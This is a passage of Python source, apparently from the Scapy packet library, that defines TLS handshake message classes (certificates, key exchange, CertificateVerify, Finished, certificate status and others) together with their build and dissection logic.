build(self):\n        fval = self.getfieldval(\"random_bytes\")\n        if fval is None:\n            self.random_bytes = _tls_hello_retry_magic\n        if self.getfieldval(\"sid\") == b\"\" and self.tls_session:\n            self.sid = self.tls_session.sid\n        return _TLSHandshake.build(self)\n\n    @crypto_validator\n    def tls_session_update(self, msg_str):\n        s = self.tls_session\n        s.tls13_retry = True\n        s.tls13_client_pubshares = {}\n        # RFC8446 sect 4.4.1\n        # If the server responds to a ClientHello with a HelloRetryRequest\n        # The value of the first ClientHello is replaced by a message_hash\n        if s.client_session_ticket:\n            cs_cls = _tls_cipher_suites_cls[s.tls13_ticket_ciphersuite]\n            hkdf = TLS13_HKDF(cs_cls.hash_alg.name.lower())\n            hash_len = hkdf.hash.digest_size\n        else:\n            cs_cls = _tls_cipher_suites_cls[self.cipher]\n            hkdf = TLS13_HKDF(cs_cls.hash_alg.name.lower())\n            hash_len = hkdf.hash.digest_size\n\n        handshake_context = struct.pack(\"B\", 254)\n        handshake_context += struct.pack(\"B\", 0)\n        handshake_context += struct.pack(\"B\", 0)\n        handshake_context += struct.pack(\"B\", hash_len)\n        digest = hashes.Hash(hkdf.hash, backend=default_backend())\n        digest.update(s.handshake_messages[0])\n        handshake_context += digest.finalize()\n        s.handshake_messages[0] = handshake_context\n        super(TLS13HelloRetryRequest, self).tls_session_update(msg_str)\n\n\n###############################################################################\n#   EncryptedExtensions                                                       #\n###############################################################################\n\n\nclass TLSEncryptedExtensions(_TLSHandshake):\n    name = \"TLS 1.3 Handshake - Encrypted Extensions\"\n    fields_desc = [ByteEnumField(\"msgtype\", 8, _tls_handshake_type),\n                   ThreeBytesField(\"msglen\", None),\n                   _ExtensionsLenField(\"extlen\", None, length_of=\"ext\"),\n                   _ExtensionsField(\"ext\", None,\n                                    length_from=lambda pkt: pkt.msglen - 2)]\n\n    def post_build_tls_session_update(self, msg_str):\n        self.tls_session_update(msg_str)\n\n        s = self.tls_session\n        connection_end = s.connection_end\n\n        # Check if the server early_data extension is present in\n        # EncryptedExtensions message (if so, early data was accepted by the\n        # server)\n        early_data_accepted = False\n        if self.ext:\n            for e in self.ext:\n                if isinstance(e, TLS_Ext_EarlyDataIndication):\n                    early_data_accepted = True\n\n        # If the serveur did not accept early_data, we change prcs traffic\n        # encryption keys. Otherwise, the the keys will be updated after the\n        # EndOfEarlyData message\n        if connection_end == \"server\":\n            if not early_data_accepted:\n                s.prcs = readConnState(ciphersuite=type(s.wcs.ciphersuite),\n                                       connection_end=connection_end,\n                                       tls_version=s.tls_version)\n\n                chts = s.tls13_derived_secrets[\"client_handshake_traffic_secret\"]  # noqa: E501\n                s.prcs.tls13_derive_keys(chts)\n\n                if not s.middlebox_compatibility:\n                    s.rcs = self.tls_session.prcs\n                    s.triggered_prcs_commit = False\n                else:\n                    s.triggered_prcs_commit = True\n\n    def post_dissection_tls_session_update(self, msg_str):\n        self.tls_session_update(msg_str)\n        s = self.tls_session\n        connection_end = s.connection_end\n\n        # Check if the server early_data extension is present in\n        # EncryptedExtensions message (if so, early data was accepted by the\n        # server)\n        early_data_accepted = False\n        if self.ext:\n            for e in self.ext:\n                if isinstance(e, TLS_Ext_EarlyDataIndication):\n                    early_data_accepted = True\n\n        # If the serveur did not accept early_data, we change pwcs traffic\n        # encryption key. Otherwise, the the keys will be updated after the\n        # EndOfEarlyData message\n        if connection_end == \"client\":\n            if not early_data_accepted:\n                s.pwcs = writeConnState(ciphersuite=type(s.rcs.ciphersuite),\n                                        connection_end=connection_end,\n                                        tls_version=s.tls_version)\n                chts = s.tls13_derived_secrets[\"client_handshake_traffic_secret\"]  # noqa: E501\n                s.pwcs.tls13_derive_keys(chts)\n                if not s.middlebox_compatibility:\n                    s.wcs = self.tls_session.pwcs\n                    s.triggered_pwcs_commit = False\n                else:\n                    s.triggered_pwcs_commit = True\n\n###############################################################################\n#   Certificate                                                               #\n###############################################################################\n\n# XXX It might be appropriate to rewrite this mess with basic 3-byte FieldLenField.  # noqa: E501\n\n\nclass _ASN1CertLenField(FieldLenField):\n    \"\"\"\n    This is mostly a 3-byte FieldLenField.\n    \"\"\"\n    def __init__(self, name, default, length_of=None, adjust=lambda pkt, x: x):\n        self.length_of = length_of\n        self.adjust = adjust\n        Field.__init__(self, name, default, fmt=\"!I\")\n\n    def i2m(self, pkt, x):\n        if x is None:\n            if self.length_of is not None:\n                fld, fval = pkt.getfield_and_val(self.length_of)\n                f = fld.i2len(pkt, fval)\n                x = self.adjust(pkt, f)\n        return x\n\n    def addfield(self, pkt, s, val):\n        return s + struct.pack(self.fmt, self.i2m(pkt, val))[1:4]\n\n    def getfield(self, pkt, s):\n        return s[3:], self.m2i(pkt, struct.unpack(self.fmt, b\"\\x00\" + s[:3])[0])  # noqa: E501\n\n\nclass _ASN1CertListField(StrLenField):\n    islist = 1\n\n    def i2len(self, pkt, i):\n        if i is None:\n            return 0\n        return len(self.i2m(pkt, i))\n\n    def getfield(self, pkt, s):\n        \"\"\"\n        Extract Certs in a loop.\n        XXX We should provide safeguards when trying to parse a Cert.\n        \"\"\"\n        tmp_len = None\n        if self.length_from is not None:\n            tmp_len = self.length_from(pkt)\n\n        lst = []\n        ret = b\"\"\n        m = s\n        if tmp_len is not None:\n            m, ret = s[:tmp_len], s[tmp_len:]\n        while m:\n            c_len = struct.unpack(\"!I\", b'\\x00' + m[:3])[0]\n            lst.append((c_len, Cert(m[3:3 + c_len])))\n            m = m[3 + c_len:]\n        return m + ret, lst\n\n    def i2m(self, pkt, i):\n        def i2m_one(i):\n            if isinstance(i, str):\n                return i\n            if isinstance(i, Cert):\n                s = i.der\n                tmp_len = struct.pack(\"!I\", len(s))[1:4]\n                return tmp_len + s\n\n            (tmp_len, s) = i\n            if isinstance(s, Cert):\n                s = s.der\n            return struct.pack(\"!I\", tmp_len)[1:4] + s\n\n        if i is None:\n            return b\"\"\n        if isinstance(i, str):\n            return i\n        if isinstance(i, Cert):\n            i = [i]\n        return b\"\".join(i2m_one(x) for x in i)\n\n    def any2i(self, pkt, x):\n        return x\n\n\nclass _ASN1CertField(StrLenField):\n    def i2len(self, pkt, i):\n        if i is None:\n            return 0\n        return len(self.i2m(pkt, i))\n\n    def getfield(self, pkt, s):\n        tmp_len = None\n        if self.length_from is not None:\n            tmp_len = self.length_from(pkt)\n        ret = b\"\"\n        m = s\n        if tmp_len is not None:\n            m, ret = s[:tmp_len], s[tmp_len:]\n        c_len = struct.unpack(\"!I\", b'\\x00' + m[:3])[0]\n        len_cert = (c_len, Cert(m[3:3 + c_len]))\n        m = m[3 + c_len:]\n        return m + ret, len_cert\n\n    def i2m(self, pkt, i):\n        def i2m_one(i):\n            if isinstance(i, str):\n                return i\n            if isinstance(i, Cert):\n                s = i.der\n                tmp_len = struct.pack(\"!I\", len(s))[1:4]\n                return tmp_len + s\n\n            (tmp_len, s) = i\n            if isinstance(s, Cert):\n                s = s.der\n            return struct.pack(\"!I\", tmp_len)[1:4] + s\n\n        if i is None:\n            return b\"\"\n        return i2m_one(i)\n\n    def any2i(self, pkt, x):\n        return x\n\n\nclass TLSCertificate(_TLSHandshake):\n    \"\"\"\n    XXX We do not support RFC 5081, i.e. OpenPGP certificates.\n    \"\"\"\n    name = \"TLS Handshake - Certificate\"\n    fields_desc = [ByteEnumField(\"msgtype\", 11, _tls_handshake_type),\n                   ThreeBytesField(\"msglen\", None),\n                   _ASN1CertLenField(\"certslen\", None, length_of=\"certs\"),\n                   _ASN1CertListField(\"certs\", [],\n                                      length_from=lambda pkt: pkt.certslen)]\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt:\n            tls_session = kargs.get(\"tls_session\", None)\n            if tls_session and (tls_session.tls_version or 0) >= 0x0304:\n                return TLS13Certificate\n        return TLSCertificate\n\n    def post_dissection_tls_session_update(self, msg_str):\n        self.tls_session_update(msg_str)\n        connection_end = self.tls_session.connection_end\n        if connection_end == \"client\":\n            self.tls_session.server_certs = [x[1] for x in self.certs]\n        else:\n            self.tls_session.client_certs = [x[1] for x in self.certs]\n\n\nclass _ASN1CertAndExt(_GenericTLSSessionInheritance):\n    name = \"Certificate and Extensions\"\n    fields_desc = [_ASN1CertField(\"cert\", \"\"),\n                   FieldLenField(\"extlen\", None, length_of=\"ext\"),\n                   _ExtensionsField(\"ext\", [],\n                                    length_from=lambda pkt: pkt.extlen)]\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass _ASN1CertAndExtListField(PacketListField):\n    def m2i(self, pkt, m):\n        return self.cls(m, tls_session=pkt.tls_session)\n\n\nclass TLS13Certificate(_TLSHandshake):\n    name = \"TLS 1.3 Handshake - Certificate\"\n    fields_desc = [ByteEnumField(\"msgtype\", 11, _tls_handshake_type),\n                   ThreeBytesField(\"msglen\", None),\n                   FieldLenField(\"cert_req_ctxt_len\", None, fmt=\"B\",\n                                 length_of=\"cert_req_ctxt\"),\n                   StrLenField(\"cert_req_ctxt\", \"\",\n                               length_from=lambda pkt: pkt.cert_req_ctxt_len),\n                   _ASN1CertLenField(\"certslen\", None, length_of=\"certs\"),\n                   _ASN1CertAndExtListField(\"certs\", [], _ASN1CertAndExt,\n                                            length_from=lambda pkt: pkt.certslen)]  # noqa: E501\n\n    def post_dissection_tls_session_update(self, msg_str):\n        self.tls_session_update(msg_str)\n        connection_end = self.tls_session.connection_end\n        if connection_end == \"client\":\n            if self.certs:\n                sc = [x.cert[1] for x in self.certs if hasattr(x, 'cert')]\n                self.tls_session.server_certs = sc\n        else:\n            if self.certs:\n                cc = [x.cert[1] for x in self.certs if hasattr(x, 'cert')]\n                self.tls_session.client_certs = cc\n\n\n###############################################################################\n#   ServerKeyExchange                                                         #\n###############################################################################\n\nclass TLSServerKeyExchange(_TLSHandshake):\n    name = \"TLS Handshake - Server Key Exchange\"\n    fields_desc = [ByteEnumField(\"msgtype\", 12, _tls_handshake_type),\n                   ThreeBytesField(\"msglen\", None),\n                   _TLSServerParamsField(\"params\", None,\n                                         length_from=lambda pkt: pkt.msglen),\n                   _TLSSignatureField(\"sig\", None,\n                                      length_from=lambda pkt: pkt.msglen - len(pkt.params))]  # noqa: E501\n\n    def build(self, *args, **kargs):\n        r\"\"\"\n        We overload build() method in order to provide a valid default value\n        for params based on TLS session if not provided. This cannot be done by\n        overriding i2m() because the method is called on a copy of the packet.\n\n        The 'params' field is built according to key_exchange.server_kx_msg_cls\n        which should have been set after receiving a cipher suite in a\n        previous ServerHello. Usual cases are:\n\n        - None: for RSA encryption or fixed FF/ECDH. This should never happen,\n          as no ServerKeyExchange should be generated in the first place.\n        - ServerDHParams: for ephemeral FFDH. In that case, the parameter to\n          server_kx_msg_cls does not matter.\n        - ServerECDH\\*Params: for ephemeral ECDH. There are actually three\n          classes, which are dispatched by _tls_server_ecdh_cls_guess on\n          the first byte retrieved. The default here is b\"\\03\", which\n          corresponds to ServerECDHNamedCurveParams (implicit curves).\n\n        When the Server\\*DHParams are built via .fill_missing(), the session\n        server_kx_privkey will be updated accordingly.\n        \"\"\"\n        fval = self.getfieldval(\"params\")\n        if fval is None:\n            s = self.tls_session\n            if s.pwcs:\n                if s.pwcs.key_exchange.export:\n                    cls = ServerRSAParams(tls_session=s)\n                else:\n                    cls = s.pwcs.key_exchange.server_kx_msg_cls(b\"\\x03\")\n                    cls = cls(tls_session=s)\n                try:\n                    cls.fill_missing()\n                except Exception:\n                    if conf.debug_dissector:\n                        raise\n            else:\n                cls = Raw()\n            self.params = cls\n\n        fval = self.getfieldval(\"sig\")\n        if fval is None:\n            s = self.tls_session\n            if s.pwcs and s.client_random:\n                if not s.pwcs.key_exchange.anonymous:\n                    p = self.params\n                    if p is None:\n                        p = b\"\"\n                    m = s.client_random + s.server_random + raw(p)\n                    cls = _TLSSignature(tls_session=s)\n                    cls._update_sig(m, s.server_key)\n                else:\n                    cls = Raw()\n            else:\n                cls = Raw()\n            self.sig = cls\n\n        return _TLSHandshake.build(self, *args, **kargs)\n\n    def post_dissection(self, pkt):\n        \"\"\"\n        While previously dissecting Server*DHParams, the session\n        server_kx_pubkey should have been updated.\n\n        XXX Add a 'fixed_dh' OR condition to the 'anonymous' test.\n        \"\"\"\n        s = self.tls_session\n        if s.prcs and s.prcs.key_exchange.no_ske:\n            pkt_info = pkt.firstlayer().summary()\n            log_runtime.info(\"TLS: useless ServerKeyExchange [%s]\", pkt_info)\n        if (s.prcs and\n            not s.prcs.key_exchange.anonymous and\n            s.client_random and s.server_random and\n                s.server_certs and len(s.server_certs) > 0):\n            m = s.client_random + s.server_random + raw(self.params)\n            sig_test = self.sig._verify_sig(m, s.server_certs[0])\n            if not sig_test:\n                pkt_info = pkt.firstlayer().summary()\n                log_runtime.info(\"TLS: invalid ServerKeyExchange signature [%s]\", pkt_info)  # noqa: E501\n\n\n###############################################################################\n#   CertificateRequest                                                        #\n###############################################################################\n\n_tls_client_certificate_types = {1: \"rsa_sign\",\n                                 2: \"dss_sign\",\n                                 3: \"rsa_fixed_dh\",\n                                 4: \"dss_fixed_dh\",\n                                 5: \"rsa_ephemeral_dh_RESERVED\",\n                                 6: \"dss_ephemeral_dh_RESERVED\",\n                                 20: \"fortezza_dms_RESERVED\",\n                                 64: \"ecdsa_sign\",\n                                 65: \"rsa_fixed_ecdh\",\n                                 66: \"ecdsa_fixed_ecdh\"}\n\n\nclass _CertTypesField(_CipherSuitesField):\n    pass\n\n\nclass _CertAuthoritiesField(StrLenField):\n    \"\"\"\n    XXX Rework this with proper ASN.1 parsing.\n    \"\"\"\n    islist = 1\n\n    def getfield(self, pkt, s):\n        tmp_len = self.length_from(pkt)\n        return s[tmp_len:], self.m2i(pkt, s[:tmp_len])\n\n    def m2i(self, pkt, m):\n        res = []\n        while len(m) > 1:\n            tmp_len = struct.unpack(\"!H\", m[:2])[0]\n            if len(m) < tmp_len + 2:\n                res.append((tmp_len, m[2:]))\n                break\n            dn = m[2:2 + tmp_len]\n            res.append((tmp_len, dn))\n            m = m[2 + tmp_len:]\n        return res\n\n    def i2m(self, pkt, i):\n        return b\"\".join(map(lambda x_y: struct.pack(\"!H\", x_y[0]) + x_y[1], i))\n\n    def addfield(self, pkt, s, val):\n        return s + self.i2m(pkt, val)\n\n    def i2len(self, pkt, val):\n        if val is None:\n            return 0\n        else:\n            return len(self.i2m(pkt, val))\n\n\nclass TLSCertificateRequest(_TLSHandshake):\n    name = \"TLS Handshake - Certificate Request\"\n    fields_desc = [ByteEnumField(\"msgtype\", 13, _tls_handshake_type),\n                   ThreeBytesField(\"msglen\", None),\n                   FieldLenField(\"ctypeslen\", None, fmt=\"B\",\n                                 length_of=\"ctypes\"),\n                   _CertTypesField(\"ctypes\", [1, 64],\n                                   _tls_client_certificate_types,\n                                   itemfmt=\"!B\",\n                                   length_from=lambda pkt: pkt.ctypeslen),\n                   SigAndHashAlgsLenField(\"sig_algs_len\", None,\n                                          length_of=\"sig_algs\"),\n                   SigAndHashAlgsField(\"sig_algs\", [0x0403, 0x0401, 0x0201],\n                                       ShortEnumField(\"hash_sig\", None, _tls_hash_sig),  # noqa: E501\n                                       length_from=lambda pkt: pkt.sig_algs_len),  # noqa: E501\n                   FieldLenField(\"certauthlen\", None, fmt=\"!H\",\n                                 length_of=\"certauth\"),\n                   _CertAuthoritiesField(\"certauth\", [],\n                                         length_from=lambda pkt: pkt.certauthlen)]  # noqa: E501\n\n\nclass TLS13CertificateRequest(_TLSHandshake):\n    name = \"TLS 1.3 Handshake - Certificate Request\"\n    fields_desc = [ByteEnumField(\"msgtype\", 13, _tls_handshake_type),\n                   ThreeBytesField(\"msglen\", None),\n                   FieldLenField(\"cert_req_ctxt_len\", None, fmt=\"B\",\n                                 length_of=\"cert_req_ctxt\"),\n                   StrLenField(\"cert_req_ctxt\", \"\",\n                               length_from=lambda pkt: pkt.cert_req_ctxt_len),\n                   _ExtensionsLenField(\"extlen\", None, length_of=\"ext\"),\n                   _ExtensionsField(\"ext\", None,\n                                    length_from=lambda pkt: pkt.msglen -\n                                    pkt.cert_req_ctxt_len - 3)]\n\n    def tls_session_update(self, msg_str):\n        super(TLS13CertificateRequest, self).tls_session_update(msg_str)\n        self.tls_session.tls13_cert_req_ctxt = self.cert_req_ctxt\n\n\n###############################################################################\n#   ServerHelloDone                                                           #\n###############################################################################\n\n\nclass TLSServerHelloDone(_TLSHandshake):\n    name = \"TLS Handshake - Server Hello Done\"\n    fields_desc = [ByteEnumField(\"msgtype\", 14, _tls_handshake_type),\n                   ThreeBytesField(\"msglen\", None)]\n\n\n###############################################################################\n#   CertificateVerify                                                         #\n###############################################################################\n\nclass TLSCertificateVerify(_TLSHandshake):\n    name = \"TLS Handshake - Certificate Verify\"\n    fields_desc = [ByteEnumField(\"msgtype\", 15, _tls_handshake_type),\n                   ThreeBytesField(\"msglen\", None),\n                   _TLSSignatureField(\"sig\", None,\n                                      length_from=lambda pkt: pkt.msglen)]\n\n    # See https://datatracker.ietf.org/doc/html/rfc8446#section-4.4 for how to compute\n    # the signature.\n\n    def build(self, *args, **kargs):\n        sig = self.getfieldval(\"sig\")\n        if sig is None:\n            s = self.tls_session\n            m = b\"\".join(s.handshake_messages)\n            if s.post_handshake:\n                m += b\"\".join(s.post_handshake_messages)\n            tls_version = s.tls_version\n            if tls_version is None:\n                tls_version = s.advertised_tls_version\n            if tls_version >= 0x0304:\n                if s.connection_end == \"client\":\n                    context_string = b\"TLS 1.3, client CertificateVerify\"\n                elif s.connection_end == \"server\":\n                    context_string = b\"TLS 1.3, server CertificateVerify\"\n                m = b\"\\x20\" * 64 + context_string + b\"\\x00\" + s.wcs.hash.digest(m)  # noqa: E501\n            self.sig = _TLSSignature(tls_session=s)\n            if s.connection_end == \"client\":\n                self.sig._update_sig(m, s.client_key)\n            elif s.connection_end == \"server\":\n                # should be TLS 1.3 only\n                self.sig._update_sig(m, s.server_key)\n        return _TLSHandshake.build(self, *args, **kargs)\n\n    def post_dissection(self, pkt):\n        s = self.tls_session\n        m = b\"\".join(s.handshake_messages)\n        if s.post_handshake:\n            m += b\"\".join(s.post_handshake_messages)\n        tls_version = s.tls_version\n        if tls_version is None:\n            tls_version = s.advertised_tls_version\n        if tls_version >= 0x0304:\n            if s.connection_end == \"client\":\n                context_string = b\"TLS 1.3, server CertificateVerify\"\n            elif s.connection_end == \"server\":\n                context_string = b\"TLS 1.3, client CertificateVerify\"\n            m = b\"\\x20\" * 64 + context_string + b\"\\x00\" + s.rcs.hash.digest(m)\n\n        if s.connection_end == \"server\":\n            if s.client_certs and len(s.client_certs) > 0:\n                sig_test = self.sig._verify_sig(m, s.client_certs[0])\n                if not sig_test:\n                    pkt_info = pkt.firstlayer().summary()\n                    log_runtime.info(\"TLS: invalid CertificateVerify signature [%s]\", pkt_info)  # noqa: E501\n        elif s.connection_end == \"client\":\n            # should be TLS 1.3 only\n            if s.server_certs and len(s.server_certs) > 0:\n                sig_test = self.sig._verify_sig(m, s.server_certs[0])\n                if not sig_test:\n                    pkt_info = pkt.firstlayer().summary()\n                    log_runtime.info(\"TLS: invalid CertificateVerify signature [%s]\", pkt_info)  # noqa: E501\n\n\n###############################################################################\n#   ClientKeyExchange                                                         #\n###############################################################################\n\nclass _TLSCKExchKeysField(PacketField):\n    __slots__ = [\"length_from\"]\n    holds_packet = 1\n\n    def __init__(self, name, length_from=None):\n        self.length_from = length_from\n        PacketField.__init__(self, name, None, None)\n\n    def m2i(self, pkt, m):\n        \"\"\"\n        The client_kx_msg may be either None, EncryptedPreMasterSecret\n        (for RSA encryption key exchange), ClientDiffieHellmanPublic,\n        or ClientECDiffieHellmanPublic. When either one of them gets\n        dissected, the session context is updated accordingly.\n        \"\"\"\n        tmp_len = self.length_from(pkt)\n        tbd, rem = m[:tmp_len], m[tmp_len:]\n\n        s = pkt.tls_session\n        cls = None\n\n        if s.prcs and s.prcs.key_exchange:\n            cls = s.prcs.key_exchange.client_kx_msg_cls\n\n        if cls is None:\n            return Raw(tbd) / Padding(rem)\n\n        return cls(tbd, tls_session=s) / Padding(rem)\n\n\nclass TLSClientKeyExchange(_TLSHandshake):\n    \"\"\"\n    This class mostly works like TLSServerKeyExchange and its 'params' field.\n    \"\"\"\n    name = \"TLS Handshake - Client Key Exchange\"\n    fields_desc = [ByteEnumField(\"msgtype\", 16, _tls_handshake_type),\n                   ThreeBytesField(\"msglen\", None),\n                   _TLSCKExchKeysField(\"exchkeys\",\n                                       length_from=lambda pkt: pkt.msglen)]\n\n    def build(self, *args, **kargs):\n        fval = self.getfieldval(\"exchkeys\")\n        if fval is None:\n            s = self.tls_session\n            if s.prcs:\n                cls = s.prcs.key_exchange.client_kx_msg_cls\n                cls = cls(tls_session=s)\n            else:\n                cls = Raw()\n            self.exchkeys = cls\n        return _TLSHandshake.build(self, *args, **kargs)\n\n    def tls_session_update(self, msg_str):\n        \"\"\"\n        Finalize the EXTMS messages and compute the hash\n        \"\"\"\n        super(TLSClientKeyExchange, self).tls_session_update(msg_str)\n\n        if self.tls_session.extms:\n            to_hash = b''.join(self.tls_session.handshake_messages)\n            # https://tools.ietf.org/html/rfc7627#section-3\n            if self.tls_session.tls_version >= 0x303:\n                # TLS 1.2 uses the same Hash as the PRF\n                from scapy.layers.tls.crypto.hash import _tls_hash_algs\n                hash_object = _tls_hash_algs.get(\n                    self.tls_session.prcs.prf.hash_name\n                )()\n                self.tls_session.session_hash = hash_object.digest(to_hash)\n            else:\n                # Previous TLS version use concatenation of MD5 & SHA1\n                from scapy.layers.tls.crypto.hash import Hash_MD5, Hash_SHA\n                self.tls_session.session_hash = (\n                    Hash_MD5().digest(to_hash) + Hash_SHA().digest(to_hash)\n                )\n            if self.tls_session.pre_master_secret:\n                self.tls_session.compute_ms_and_derive_keys()\n\n        if not self.tls_session.master_secret:\n            # There are still no master secret (we're just passive)\n            if self.tls_session.use_nss_master_secret_if_present():\n                # we have a NSS file\n                self.tls_session.compute_ms_and_derive_keys()\n\n\n###############################################################################\n#   Finished                                                                  #\n###############################################################################\n\nclass _VerifyDataField(StrLenField):\n    def getfield(self, pkt, s):\n        if pkt.tls_session.tls_version == 0x0300:\n            sep = 36\n        elif pkt.tls_session.tls_version and pkt.tls_session.tls_version >= 0x0304:\n            sep = pkt.tls_session.rcs.hash.hash_len\n        else:\n            sep = 12\n        return s[sep:], s[:sep]\n\n\nclass TLSFinished(_TLSHandshake):\n    name = \"TLS Handshake - Finished\"\n    fields_desc = [ByteEnumField(\"msgtype\", 20, _tls_handshake_type),\n                   ThreeBytesField(\"msglen\", None),\n                   _VerifyDataField(\"vdata\", None)]\n\n    def build(self, *args, **kargs):\n        fval = self.getfieldval(\"vdata\")\n        if fval is None:\n            s = self.tls_session\n            handshake_msg = b\"\".join(s.handshake_messages)\n            if s.post_handshake:\n                handshake_msg += b\"\".join(s.post_handshake_messages)\n            con_end = s.connection_end\n            tls_version = s.tls_version\n            if tls_version is None:\n                tls_version = s.advertised_tls_version\n            if tls_version < 0x0304:\n                ms = s.master_secret\n                self.vdata = s.wcs.prf.compute_verify_data(con_end, \"write\",\n                                                           handshake_msg, ms)\n            else:\n                self.vdata = s.compute_tls13_verify_data(con_end, \"write\",\n                                                         handshake_msg)\n        return _TLSHandshake.build(self, *args, **kargs)\n\n    def post_dissection(self, pkt):\n        s = self.tls_session\n        if not s.frozen:\n            handshake_msg = b\"\".join(s.handshake_messages)\n            if s.post_handshake:\n                handshake_msg += b\"\".join(s.post_handshake_messages)\n            tls_version = s.tls_version\n            if tls_version is None:\n                tls_version = s.advertised_tls_version\n            if tls_version < 0x0304 and s.master_secret is not None:\n                ms = s.master_secret\n                con_end = s.connection_end\n                verify_data = s.rcs.prf.compute_verify_data(con_end, \"read\",\n                                                            handshake_msg, ms)\n                if self.vdata != verify_data:\n                    pkt_info = pkt.firstlayer().summary()\n                    log_runtime.info(\"TLS: invalid Finished received [%s]\", pkt_info)  # noqa: E501\n            elif tls_version >= 0x0304:\n                con_end = s.connection_end\n                verify_data = s.compute_tls13_verify_data(con_end, \"read\",\n                                                          handshake_msg)\n                if self.vdata != verify_data:\n                    pkt_info = pkt.firstlayer().summary()\n                    log_runtime.info(\"TLS: invalid Finished received [%s]\", pkt_info)  # noqa: E501\n\n    def post_build_tls_session_update(self, msg_str):\n        self.tls_session_update(msg_str)\n        s = self.tls_session\n        tls_version = s.tls_version\n        if tls_version is None:\n            tls_version = s.advertised_tls_version\n        if tls_version >= 0x0304 and not s.post_handshake:\n            s.pwcs = writeConnState(ciphersuite=type(s.wcs.ciphersuite),\n                                    connection_end=s.connection_end,\n                                    tls_version=s.tls_version)\n            s.triggered_pwcs_commit = True\n            if s.connection_end == \"server\":\n                s.compute_tls13_traffic_secrets()\n            elif s.connection_end == \"client\":\n                s.compute_tls13_traffic_secrets_end()\n                s.compute_tls13_resumption_secret()\n        if s.connection_end == \"client\":\n            s.post_handshake = True\n            s.post_handshake_messages = []\n\n    def post_dissection_tls_session_update(self, msg_str):\n        self.tls_session_update(msg_str)\n        s = self.tls_session\n        tls_version = s.tls_version\n        if tls_version is None:\n            tls_version = s.advertised_tls_version\n        if tls_version >= 0x0304 and not s.post_handshake:\n            s.prcs = readConnState(ciphersuite=type(s.rcs.ciphersuite),\n                                   connection_end=s.connection_end,\n                                   tls_version=s.tls_version)\n            s.triggered_prcs_commit = True\n            if s.connection_end == \"client\":\n                s.compute_tls13_traffic_secrets()\n            elif s.connection_end == \"server\":\n                s.compute_tls13_traffic_secrets_end()\n                s.compute_tls13_resumption_secret()\n        if s.connection_end == \"server\":\n            s.post_handshake = True\n            s.post_handshake_messages = []\n\n\n# Additional handshake messages\n\n###############################################################################\n#   HelloVerifyRequest                                                        #\n###############################################################################\n\nclass TLSHelloVerifyRequest(_TLSHandshake):\n    \"\"\"\n    Defined for DTLS, see RFC 6347.\n    \"\"\"\n    name = \"TLS Handshake - Hello Verify Request\"\n    fields_desc = [ByteEnumField(\"msgtype\", 21, _tls_handshake_type),\n                   ThreeBytesField(\"msglen\", None),\n                   FieldLenField(\"cookielen\", None,\n                                 fmt=\"B\", length_of=\"cookie\"),\n                   StrLenField(\"cookie\", \"\",\n                               length_from=lambda pkt: pkt.cookielen)]\n\n\n###############################################################################\n#   CertificateURL                                                            #\n###############################################################################\n\n_tls_cert_chain_types = {0: \"individual_certs\",\n                         1: \"pkipath\"}\n\n\nclass URLAndOptionalHash(Packet):\n    name = \"URLAndOptionHash structure for TLSCertificateURL\"\n    fields_desc = [FieldLenField(\"urllen\", None, length_of=\"url\"),\n                   StrLenField(\"url\", \"\",\n                               length_from=lambda pkt: pkt.urllen),\n                   FieldLenField(\"hash_present\", None,\n                                 fmt=\"B\", length_of=\"hash\",\n                                 adjust=lambda pkt, x: int(math.ceil(x / 20.))),  # noqa: E501\n                   StrLenField(\"hash\", \"\",\n                               length_from=lambda pkt: 20 * pkt.hash_present)]\n\n    def guess_payload_class(self, p):\n        return Padding\n\n\nclass TLSCertificateURL(_TLSHandshake):\n    \"\"\"\n    Defined in RFC 4366. PkiPath structure of section 8 is not implemented yet.\n    \"\"\"\n    name = \"TLS Handshake - Certificate URL\"\n    fields_desc = [ByteEnumField(\"msgtype\", 21, _tls_handshake_type),\n                   ThreeBytesField(\"msglen\", None),\n                   ByteEnumField(\"certchaintype\", None, _tls_cert_chain_types),\n                   FieldLenField(\"uahlen\", None, length_of=\"uah\"),\n                   PacketListField(\"uah\", [], URLAndOptionalHash,\n                                   length_from=lambda pkt: pkt.uahlen)]\n\n\n###############################################################################\n#   CertificateStatus                                                         #\n###############################################################################\n\nclass ThreeBytesLenField(FieldLenField):\n    def __init__(self, name, default, length_of=None, adjust=lambda pkt, x: x):\n        FieldLenField.__init__(self, name, default, length_of=length_of,\n                               fmt='!I', adjust=adjust)\n\n    def i2repr(self, pkt, x):\n        if x is None:\n            return 0\n        return repr(self.i2h(pkt, x))\n\n    def addfield(self, pkt, s, val):\n        return s + struct.pack(self.fmt, self.i2m(pkt, val))[1:4]\n\n    def getfield(self, pkt, s):\n        return s[3:], self.m2i(pkt, struct.unpack(self.fmt, b\"\\x00\" + s[:3])[0])  # noqa: E501\n\n\n_cert_status_cls = {1: OCSP_Response}\n\n\nclass _StatusField(PacketLenField):\n    def m2i(self, pkt, m):\n        idtype = pkt.status_type\n        cls = self.cls\n        if idtype in _cert_status_cls:\n            cls = _cert_status_cls[idtype]\n        return cls(m)\n\n\nclass TLSCertificateStatus(_TLSHandshake):\n    name = \"TLS Handshake - Certificate Status\"\n    fields_desc = [ByteEnumField(\"msgtype\", 22, _tls_handshake_type),\n                   ThreeBytesField(\"msglen\", None),\n                   ByteEnumField(\"status_type\", 1, _cert_status_type),\n                   ThreeBytesLenField(\"responselen\", None,\n                                      length_of=\"response\"),\n                   _StatusField(\"response\", None, Raw,\n                                length_from=lambda pkt: pkt.responselen)]\n\n\n###############################################################################\n#   SupplementalData                                                          #\n###############################################################################\n\nclass SupDataEntry(Packet):\n    name = \"Supplemental Data Entry - Generic\"\n    fields_desc = [ShortField(\"sdtype\", None),\n                   FieldLenField(\"len\", None, length_of=\"data\"),\n                   StrLenField(\"data\", \"\",\n                               length_from=lambda pkt:pkt.len)]\n\n    def guess_payload_class(self, p):\n        return Padding\n\n\nclass UserMappingData(Packet):\n    name = \"User Mapping Data\"\n    fields_desc = [ByteField(\"version\", None),\n                   FieldLenField(\"len\", None, length_of=\"data\"),\n                   StrLenField(\"data\", \"\",\n                               length_from=lambda pkt: pkt.len)]\n\n    def guess_payload_class(self, p):\n        return Padding\n\n\nclass SupDataEntryUM(Packet):\n    name = \"Supplemental Data Entry - User Mapping\"\n    fields_desc = [ShortField(\"sdtype\", None),\n                   FieldLenField(\"len\", None, length_of=\"data\",\n                                 adjust=lambda pkt, x: x + 2),\n                   